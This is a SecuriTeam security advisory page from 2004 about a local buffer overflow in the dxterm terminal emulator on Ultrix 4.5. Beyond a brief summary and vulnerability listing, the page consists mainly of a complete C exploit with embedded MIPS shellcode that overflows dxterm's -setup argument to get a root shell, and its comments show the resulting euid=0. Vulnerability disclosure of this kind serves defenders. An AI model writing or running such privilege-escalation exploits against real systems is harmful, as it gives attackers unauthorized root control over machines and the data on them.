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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Ultrix dxterm -setup Buffer Overflow 21 Dec. 2004    Summary dxterm is a "DECwindows terminal emulator". A vulnerability in the way dxterm handles long -setup commands allows a local attacker to gain elevated privileges by overflowing an internal buffer in the program.   Credit: The information has been provided by Kristoffer Branemyr. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Ultrix version 4.5 Exploit: /* Ultrix 4.5/MIPS dxterm exploit    by ztion in 2004    Greets to: Stok, sidez    It wasn't possible to use '/' in the shellcode. Probably dxterm only    copies everything after the last slash, as it expects a path.    Since everything is pretty much hardcoded, you will probably have to    tweak it for versions other than 4.5    nora> ./ultrix_dxterm_4.5_exploit    $ id    uid=268(ztion) gid=15(users)euid=0(root)  */ #include <stdio.h> #define NOP 0x25f8e003 #define RET 0x7fffbe90 char shellcode[] = {         0x69,0x6e,0x19,0x3c, /* lui $t9, 0x6e69 */         0x2e,0x61,0x39,0x37, /* ori $t9, $t9, 0x612e */         0x38,0x01,0xb6,0x23, /* addi $s6, $sp, 312 */         0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */         0xf0,0xfe,0xd9,0xae, /* sw $t9, -272($s6) */         0x73,0x68,0x19,0x3c, /* lui $t9, 0x6873 */         0x11,0x11,0x06,0x24, /* li $a2, 0x1111 */         0x11,0x11,0xc6,0x38, /* xori $a2, $a2, 0x1111 */         0x2e,0x2e,0x39,0x37, /* ori $t9, $t9, 0x2e2e */         0xf0,0xfe,0xc4,0x26, /* addiu $a0, $s6, -272 */         0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */         0x3f,0x01,0x02,0x24, /* li $v0, 319 */         0xfc,0xfe,0x42,0x20, /* addi $v0, $v0, -260 */         0xf4,0xfe,0xd9,0xae, /* sw $t9, -268($s6) */         0xe8,0xfe,0xc4,0xae, /* sw $a0, -280($s6) */         0xf8,0xfe,0xc6,0xae, /* sw $a2, -264($s6) */         0xec,0xfe,0xc6,0xae, /* sw $a2, -276($s6) */         0xe8,0xfe,0xc5,0x26, /* addiu $a1, $s6, -280 */         0xcc,0xff,0xff,0x01 /* syscall */ }; int main(void) {         char buf[256];         int i;         memset (buf, 2, 255);         i = 0;         while (i <= 8) {                 ((int *)(buf+1))[i] = NOP;                 i++;         }         memcpy (buf+33, shellcode, sizeof(shellcode));         ((int *)(buf+3))[29] = RET;         /* 119 - 122 is the return address */         buf[123] = '\0';         execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0", "-setup", buf, NULL); }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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